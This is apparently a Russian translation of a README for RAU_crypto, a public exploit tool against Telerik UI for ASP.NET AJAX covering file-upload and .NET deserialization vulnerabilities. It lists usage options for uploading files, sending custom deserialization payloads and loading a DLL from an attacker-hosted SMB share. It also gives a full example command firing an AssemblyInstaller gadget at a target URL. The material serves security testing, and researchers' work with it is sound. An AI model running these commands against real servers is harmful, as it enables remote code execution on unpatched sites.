
Эксплойт загрузки файлов и десериализации .NET для Telerik UI for ASP.NET AJAX (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Комбинированный эксплойт для Telerik UI for ASP.NET AJAX.
Теперь поддерживает проверку способности цели загружать удаленные полезные нагрузки из SMB-сервиса, размещенного атакующим. Используйте Burp Collaborator и/или Responder для проверки наличия необходимых предварительных условий.
Для успешной эксплуатации обычно требуется версия с жестко закодированными ключами, или необходимо знать ключ, например, если вы можете раскрыть содержимое web.config. Эксплойт также позволяет легко расшифровывать и шифровать rauPostData, используемые с Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome или pip3 install pycryptodomexМой другой эксплойт для Telerik UI (CVE-2017-9248), вероятно, также будет интересен. Он доступен здесь:
Примечание — последние четыре пункта выполнены, но не опубликованы.
Уязвимость загрузки файлов (CVE-2017-11317) была обнаружена другими, я считаю, что кредиты принадлежат @straight_blast @pwntester @olekmirosh. Вскоре после объявления я столкнулся с библиотекой Telerik в ходе своей работы, поэтому я изучил ее и уязвимость и написал этот эксплойт в июле 2017 года. Я также сообщил о CVE-2017-11357, связанном с небезопасной прямой ссылкой на объект.
Уязвимость десериализации .NET (CVE-2019-18935) была обнаружена @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
Подробнее о пользовательских полезных нагрузках для десериализации .NET можно узнать из отличной статьи @mwulftange, обнаружившего эту уязвимость, в блоге Code White по следующей ссылке.
Обновление — есть альтернативный эксплойт от Caleb Gross @noperator, который включает функции этого эксплойта, с отличной статьей в блоге, объясняющей все. Спасибо также Caleb за вклад в RAU_Crypto.
Другие соответствующие ссылки.
Пример полезной нагрузки для десериализации .NET:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Для mixed mode DLL смотрите мой другой репозиторий GitHub:
Особая благодарность @irsdl, который вдохновил на создание функции пользовательской полезной нагрузки.
Благодарность @rwincey, который вдохновил на создание функции удаленной DLL.